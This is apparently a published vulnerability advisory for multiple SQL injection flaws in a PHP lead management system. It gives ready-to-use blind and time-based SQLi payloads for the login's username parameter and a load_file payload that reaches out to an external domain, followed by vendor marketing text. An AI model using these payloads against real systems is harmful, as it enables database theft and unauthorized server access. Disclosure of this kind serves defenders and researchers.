## Title: PENGLEAD-2.0 Multiple-SQLi
## Author: nu11secur1ty
## Vendor: https://www.mayurik.com/
## Software: https://www.mayurik.com/source-code/P2760/lead-management-system-in-php-free-download
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+' was submitted in the email parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all the information for the clients of this application from the server, and very sensitive information for accessing the server by exploiting the vulnerability.
STATUS: HIGH-CRITICAL Vulnerability
[+]Payload:
```MySQL
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: [email protected]' or '5739'='5739' AND 2238=2238 AND 'ykSa'='ykSa&password=rootadmin&g-recaptcha-response=&login=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]' or '5739'='5739' AND (SELECT 8274 FROM (SELECT(SLEEP(15)))ZKyh) AND 'yBrH'='yBrH&password=rootadmin&g-recaptcha-response=&login=
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/PENGLEAD-2.0-Multiple-SQLi)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/11/penglead-20-multiple-sqli.html)
## Time spent:
01:10:00
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation